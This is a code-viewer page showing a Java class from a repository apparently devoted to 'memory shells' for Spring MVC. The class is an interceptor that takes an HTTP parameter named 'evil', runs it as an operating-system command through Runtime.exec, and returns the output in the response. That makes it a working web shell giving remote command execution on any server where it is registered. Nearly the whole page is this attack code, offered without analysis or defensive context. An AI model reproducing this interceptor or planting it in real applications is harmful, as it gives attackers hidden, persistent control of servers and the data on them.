MCPcopy Create free account
hub / github.com/ax1sX/MemShell / TestInterceptor

Class TestInterceptor

SpringMVCMemShell/src/main/java/TestInterceptor.java:10–48  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

8import java.io.InputStreamReader;
9
10public class TestInterceptor implements HandlerInterceptor {
11 @Override
12 public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
13 String cmd = request.getParameter("evil");
14
15 try {
16 String result = this.CommandExec(cmd);
17 response.getWriter().println(result);
18 } catch (Exception var7) {
19 }
20 return true;
21 }
22
23 public String CommandExec(String cmd) throws Exception {
24 Runtime rt = Runtime.getRuntime();
25 Process proc = rt.exec(cmd);
26 InputStream stderr = proc.getInputStream();
27 InputStreamReader isr = new InputStreamReader(stderr);
28 BufferedReader br = new BufferedReader(isr);
29 String line = null;
30 StringBuffer sb = new StringBuffer();
31
32 while((line = br.readLine()) != null) {
33 sb.append(line + "\n");
34 }
35
36 return sb.toString();
37 }
38
39 @Override
40 public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
41 System.out.println("postHandle");
42 }
43
44 @Override
45 public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
46 System.out.println("afterCompletion");
47 }
48}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected